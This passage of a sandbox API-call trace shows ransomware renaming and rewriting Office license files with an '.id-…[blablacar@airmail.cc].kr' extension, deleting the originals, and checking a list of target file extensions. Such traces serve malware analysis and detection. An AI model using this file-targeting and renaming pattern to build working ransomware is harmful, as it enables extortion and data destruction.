lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0216.614] GetLastError () returned 0x0 [0216.614] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x535c, lpOverlapped=0x0) returned 1 [0216.616] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x5360, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x5360, lpOverlapped=0x0) returned 1 [0216.617] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.617] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x122, lpOverlapped=0x0) returned 1 [0216.618] SetEndOfFile (hFile=0x3f8) returned 1 [0216.618] CloseHandle (hObject=0x3f8) returned 1 [0216.618] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.618] SetEndOfFile (hFile=0x518) returned 1 [0216.620] CloseHandle (hObject=0x518) returned 1 [0216.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ppd.xrm-ms")) returned 1 [0216.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms") returned 89 [0216.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms") returned 89 [0216.622] lstrlenW (lpString=".doc") returned 4 [0216.622] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.622] lstrlenW (lpString=".docx") returned 5 [0216.622] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.622] lstrlenW (lpString=".pdf") returned 4 [0216.622] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.622] lstrlenW (lpString=".xls") returned 4 [0216.622] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.622] lstrlenW (lpString=".xlsx") returned 5 [0216.622] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.622] lstrlenW (lpString=".ppt") returned 4 [0216.622] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms") returned 89 [0216.622] lstrlenW (lpString=".zip") returned 4 [0216.622] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.622] lstrlenW (lpString=".rar") returned 4 [0216.622] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.622] lstrlenW (lpString=".bz2") returned 4 [0216.622] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.622] lstrlenW (lpString=".7z") returned 3 [0216.622] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms") returned 89 [0216.622] lstrlenW (lpString=".dbf") returned 4 [0216.622] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms") returned 89 [0216.622] lstrlenW (lpString=".1cd") returned 4 [0216.622] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms") returned 89 [0216.623] lstrlenW (lpString=".jpg") returned 4 [0216.623] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms") returned 89 [0216.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms") returned 89 [0216.623] lstrlenW (lpString=".doc") returned 4 [0216.623] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.623] lstrlenW (lpString=".docx") returned 5 [0216.623] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.623] lstrlenW (lpString=".pdf") returned 4 [0216.623] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.623] lstrlenW (lpString=".xls") returned 4 [0216.623] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.623] lstrlenW (lpString=".xlsx") returned 5 [0216.623] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.623] lstrlenW (lpString=".ppt") returned 4 [0216.623] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms") returned 89 [0216.623] lstrlenW (lpString=".zip") returned 4 [0216.623] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.623] lstrlenW (lpString=".rar") returned 4 [0216.623] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.623] lstrlenW (lpString=".bz2") returned 4 [0216.623] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.623] lstrlenW (lpString=".7z") returned 3 [0216.623] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms") returned 89 [0216.623] lstrlenW (lpString=".dbf") returned 4 [0216.623] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms") returned 89 [0216.623] lstrlenW (lpString=".1cd") returned 4 [0216.623] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms") returned 89 [0216.624] lstrlenW (lpString=".jpg") returned 4 [0216.624] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.624] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.624] lstrlenW (lpString="ProjectStdO365R_Subscription-ul-oob.xrm-ms") returned 42 [0216.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.625] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11650) returned 1 [0216.625] CloseHandle (hObject=0x518) returned 1 [0216.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ul-oob.xrm-ms")) returned 0x220 [0216.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.625] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.625] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0216.626] GetLastError () returned 0x0 [0216.626] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d82, lpOverlapped=0x0) returned 1 [0216.628] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0216.629] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.629] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x128, lpOverlapped=0x0) returned 1 [0216.629] SetEndOfFile (hFile=0x3f8) returned 1 [0216.629] CloseHandle (hObject=0x3f8) returned 1 [0216.629] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.629] SetEndOfFile (hFile=0x518) returned 1 [0216.632] CloseHandle (hObject=0x518) returned 1 [0216.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ul-oob.xrm-ms")) returned 1 [0216.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms") returned 92 [0216.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms") returned 92 [0216.634] lstrlenW (lpString=".doc") returned 4 [0216.634] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.634] lstrlenW (lpString=".docx") returned 5 [0216.634] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.634] lstrlenW (lpString=".pdf") returned 4 [0216.634] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.634] lstrlenW (lpString=".xls") returned 4 [0216.634] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.634] lstrlenW (lpString=".xlsx") returned 5 [0216.634] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.634] lstrlenW (lpString=".ppt") returned 4 [0216.634] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms") returned 92 [0216.634] lstrlenW (lpString=".zip") returned 4 [0216.634] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.634] lstrlenW (lpString=".rar") returned 4 [0216.634] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.634] lstrlenW (lpString=".bz2") returned 4 [0216.634] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.634] lstrlenW (lpString=".7z") returned 3 [0216.634] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms") returned 92 [0216.634] lstrlenW (lpString=".dbf") returned 4 [0216.634] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms") returned 92 [0216.634] lstrlenW (lpString=".1cd") returned 4 [0216.634] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms") returned 92 [0216.634] lstrlenW (lpString=".jpg") returned 4 [0216.634] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms") returned 92 [0216.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms") returned 92 [0216.635] lstrlenW (lpString=".doc") returned 4 [0216.635] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.635] lstrlenW (lpString=".docx") returned 5 [0216.635] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.635] lstrlenW (lpString=".pdf") returned 4 [0216.635] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.635] lstrlenW (lpString=".xls") returned 4 [0216.635] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.635] lstrlenW (lpString=".xlsx") returned 5 [0216.635] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.635] lstrlenW (lpString=".ppt") returned 4 [0216.635] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms") returned 92 [0216.635] lstrlenW (lpString=".zip") returned 4 [0216.635] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.635] lstrlenW (lpString=".rar") returned 4 [0216.635] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.635] lstrlenW (lpString=".bz2") returned 4 [0216.635] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.635] lstrlenW (lpString=".7z") returned 3 [0216.635] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms") returned 92 [0216.635] lstrlenW (lpString=".dbf") returned 4 [0216.635] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms") returned 92 [0216.635] lstrlenW (lpString=".1cd") returned 4 [0216.635] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms") returned 92 [0216.635] lstrlenW (lpString=".jpg") returned 4 [0216.635] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.636] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.636] lstrlenW (lpString="ProjectStdO365R_SubTest-pl.xrm-ms") returned 33 [0216.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.636] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11183) returned 1 [0216.636] CloseHandle (hObject=0x518) returned 1 [0216.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-pl.xrm-ms")) returned 0x220 [0216.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.637] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.637] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0216.638] GetLastError () returned 0x0 [0216.638] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2baf, lpOverlapped=0x0) returned 1 [0216.951] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0216.952] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.952] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x116, lpOverlapped=0x0) returned 1 [0216.952] SetEndOfFile (hFile=0x3f8) returned 1 [0216.953] CloseHandle (hObject=0x3f8) returned 1 [0216.953] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.953] SetEndOfFile (hFile=0x518) returned 1 [0216.956] CloseHandle (hObject=0x518) returned 1 [0216.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-pl.xrm-ms")) returned 1 [0216.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms") returned 83 [0216.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms") returned 83 [0216.958] lstrlenW (lpString=".doc") returned 4 [0216.958] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.958] lstrlenW (lpString=".docx") returned 5 [0216.958] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.958] lstrlenW (lpString=".pdf") returned 4 [0216.958] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.958] lstrlenW (lpString=".xls") returned 4 [0216.958] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.958] lstrlenW (lpString=".xlsx") returned 5 [0216.958] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.958] lstrlenW (lpString=".ppt") returned 4 [0216.958] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms") returned 83 [0216.958] lstrlenW (lpString=".zip") returned 4 [0216.958] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.958] lstrlenW (lpString=".rar") returned 4 [0216.958] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.958] lstrlenW (lpString=".bz2") returned 4 [0216.958] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.958] lstrlenW (lpString=".7z") returned 3 [0216.958] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms") returned 83 [0216.958] lstrlenW (lpString=".dbf") returned 4 [0216.958] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms") returned 83 [0216.958] lstrlenW (lpString=".1cd") returned 4 [0216.959] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms") returned 83 [0216.959] lstrlenW (lpString=".jpg") returned 4 [0216.959] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms") returned 83 [0216.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms") returned 83 [0216.959] lstrlenW (lpString=".doc") returned 4 [0216.959] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.959] lstrlenW (lpString=".docx") returned 5 [0216.959] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.959] lstrlenW (lpString=".pdf") returned 4 [0216.959] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.959] lstrlenW (lpString=".xls") returned 4 [0216.959] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.959] lstrlenW (lpString=".xlsx") returned 5 [0216.959] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.959] lstrlenW (lpString=".ppt") returned 4 [0216.959] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms") returned 83 [0216.959] lstrlenW (lpString=".zip") returned 4 [0216.959] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.959] lstrlenW (lpString=".rar") returned 4 [0216.959] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.959] lstrlenW (lpString=".bz2") returned 4 [0216.959] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.959] lstrlenW (lpString=".7z") returned 3 [0216.959] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms") returned 83 [0216.959] lstrlenW (lpString=".dbf") returned 4 [0216.959] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms") returned 83 [0216.959] lstrlenW (lpString=".1cd") returned 4 [0216.959] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms") returned 83 [0216.960] lstrlenW (lpString=".jpg") returned 4 [0216.960] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.960] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.960] lstrlenW (lpString="ProjectStdR_OEM_Perp-ul-oob.xrm-ms") returned 34 [0216.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.961] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11604) returned 1 [0216.961] CloseHandle (hObject=0x518) returned 1 [0216.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0216.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 